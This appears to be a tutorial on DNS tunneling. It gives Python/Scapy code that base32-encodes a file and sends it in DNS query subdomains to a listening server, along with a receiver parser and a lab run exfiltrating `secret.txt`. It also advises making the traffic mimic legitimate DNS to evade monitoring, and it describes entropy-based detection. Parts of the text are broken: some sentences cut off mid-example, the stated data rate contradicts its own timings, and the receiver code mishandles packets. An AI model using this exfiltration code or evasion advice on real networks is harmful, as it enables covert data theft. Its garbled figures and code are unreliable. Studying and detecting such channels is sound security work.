Introduction
The Domain Name System (DNS) plays a foundational role in the internet, converting human-readable domain names into machine-usable IP addresses. But its design is not meant for speed and flexibility, also makes it a convenient vehicle for covert data channels. DNS tunneling takes advantage of this by embedding encoded information into DNS queries, which often bypass standard firewall or inspection mechanisms.
DNS Query Structure Limitations
DNS queries have structural limitations that guide how data can be encoded within them:
- Each component (label) is limited to 63 bytes
- Total domain name length must not exceed 255 bytes
- Only alphanumeric characters and hyphens are allowed
Data Preparation
To prepare data for DNS tunneling:
- Convert binary data to base32 (A-Z, 2-7)
- Split into chunks (50 characters each = ~31.25 bytes)
- Label chunks with indices for reassembly

Client Implementation
Example Python function using Scapy to send DNS queries:
def send_dns_chunk(dest_ip: str, domain: str, chunk: str, index: int, retries: int) -> None:
from scapy.all import IP, UDP, DNS, DNSQR, send
from time import sleep
query_name = f"{index}.{chunk}.{domain}"
packet = IP(dst=dest_ip) / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname=query_name, qtype="A"))
for _ in range(retries):
send(packet, verbose=0)
sleep(0.1)
Server Implementation
Example receiver function to parse incoming packets:
def receive_dns_chunk(packet: dict, domain: str) -> tuple[int, str]:
from scapy.all import DNS
dns_layer = packet.get('DNS')
if not dns_layer or not dns_layer.qd:
return None
qname = dns_layer.qd.qname.decode().rstrip('.')
if not qname.endswith(domain):
return None
try:
labels = qname.split('.')
index = int(labels[0])
chunk = labels[1]
if not all(c in "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" for c in chunk):
return None
return index, chunk
except Exception:
return None
Experimental Demonstration
To showcase DNS tunneling in action, an experiment was conducted to transmit a 1008-byte file, `secret.txt`, from a client on an Ubuntu system to a server on a Debian system, using a test domain, `klydz.local`. The setup operated within a Windows Subsystem for Linux (WSL) environment, with the server configured to listen at IP address 172.30.113.224. The client encoded the file and sent it as a series of DNS queries, which the server captured and processed. Traffic was recorded using a packet capture tool, producing a file named `tunnel.pcap`, which allowed detailed analysis of the tunneling process and its outcomes.

Data Encoding and Query Transmission
The transmission process began with encoding the 1008-byte file into base32 format, resulting in approximately 1613 characters, as each 5 bits of input data corresponds to one base32 character (1008 × 8 ÷ 5). This encoding ensures that the data is represented using only DNS-compatible characters, avoiding issues with protocol restrictions. To manage the size limitations of DNS queries, the base32 string was segmented into 33 chunks of roughly 50 characters each, allowing them to fit within a 63-byte label when combined with an index and the domain suffix, such as `0.
The client transmitted these chunks using the approach outlined in the `send_dns_chunk` function. Queries were constructed as DNS A record requests, directed to the server at 172.30.113.224 via UDP port 53. Each query, approximately 82 bytes in size, carried ~50 base32 characters, representing ~31.25 bytes of the original file (50 × 5/8). To enhance reliability over UDP, which does not guarantee delivery, the client sent each chunk multiple times with short delays between attempts, as shown in the example function. This strategy helps ensure that queries reach the server, even in environments prone to packet loss, by providing redundancy without overwhelming the network.
Query Capture and Data Reassembly
The server’s role was to intercept and process incoming DNS queries, as implemented in the `receive_dns_chunk` function. It monitored UDP port 53 traffic, filtering for queries containing `klydz.local` to isolate relevant data. For each query, the server extracted the index and chunk from the subdomain, validated the chunk’s base32 character set to confirm its integrity, and stored the data for later processing. Once all queries were collected, the server sorted the chunks by their indices, concatenated them into a single base32 string, and decoded it to recover the original binary file. This methodical capture and reassembly process ensures that the transmitted data can be accurately reconstructed, provided all chunks are received.
Results and Observations
The experiment’s packet capture, `tunnel.pcap`, documented 88 packets over a period from 13:11:28 to 13:15:20, successfully capturing 30 of the 33 expected chunks, corresponding to indices 0 to 29. Each chunk appeared approximately three times, reflecting the retry mechanism, with examples like chunk 0 recorded at 13:11:28.087463, 13:11:30.445568, and 13:11:32.825296. The packets were transmitted between the client and server at 172.30.113.224, a configuration influenced by WSL’s virtual networking, which assigned the same IP to both endpoints. Each packet, comprising IP, UDP, and DNS layers, was ~82 bytes and requested an A record for subdomains formatted as `0.

The absence of three chunks (indices 30 to 32), representing approximately 93 bytes, was attributed to packet loss within WSL’s network environment, which can experience instability under continuous UDP traffic. In typical network configurations, separate IP addresses for the client and server would streamline traffic routing, unlike the observed IP convergence. The tunneling achieved a data rate of approximately 3.8 bits per second, based on ~31.25 bytes per chunk across 33 chunks with retries. The 30 captured chunks amounted to 1500 base32 characters, equivalent to ~937 bytes (1500 × 5/8), or about 90% of the original file, demonstrating the technique’s ability to transfer data covertly, even with partial losses.
Traffic Analysis
Examination of `tunnel.pcap` revealed key characteristics of the tunneling process. The 88 packets, averaging ~2.9 instances per chunk, indicated that some retry attempts did not register, likely due to network constraints inherent to the experimental setup. The packet size of ~82 bytes, delivering only ~31.25 bytes of actual data, highlighted the overhead imposed by IP, UDP, and DNS headers, a common trait in DNS tunneling due to its reliance on structured queries. The use of a single IP address (172.30.113.224) for both client and server was an artifact of the WSL environment, standard DNS interactions typically involve distinct endpoints or a resolver, making this configuration notable. The partial recovery of 937 bytes from the captured chunks, despite missing data, confirmed the tunneling mechanism’s core functionality, underscoring the need for strategies to ensure complete transmission in operational scenarios.
Practical Considerations
Effective DNS tunneling requires addressing several practical aspects to achieve reliability and discretion. Ensuring complete data transfer often involves mechanisms to verify that all chunks have been received, such as acknowledgments sent via DNS responses from the server to the client. Maintaining data confidentiality is critical, as unencrypted base32 data, while protocol-compliant, is readable to any observer, incorporating encryption or obfuscation techniques can protect sensitive information. Performance optimization is another consideration, as the use of A record queries limits payload size, adopting alternative record types or compressing data before encoding can enhance data rates significantly. Additionally, designing queries to resemble typical DNS traffic patterns helps avoid attracting attention from network monitoring tools, improving the tunnel’s ability to operate undetected. These factors are integral to a robust implementation that meets both functional and security requirements.
Detection Methods
DNS tunneling can be detected through:
- High entropy in subdomains (base32 data approaches 5 bits/character)
- Unusually high query rates
- Consistently long subdomains
Entropy calculation function:
from math import log2
from collections import Counter
def compute_entropy(text: str) -> float:
counts = Counter(text)
total = len(text)
return -sum((freq / total) * log2(freq / total) for freq in counts.values())
To improve stealth and performance:
- Compress data before encoding
- Encrypt chunks for confidentiality
- Use TXT records for larger payloads
- Mimic legitimate DNS traffic patterns
Final Notes
DNS tunneling demonstrates how fundamental protocols can be repurposed for unintended uses. While this technique has legitimate applications in penetration testing and research, it is largely ineffective for real-life situations. There are many better methods of exfiltration, this is simply a demonstration of how DNS tunneling works.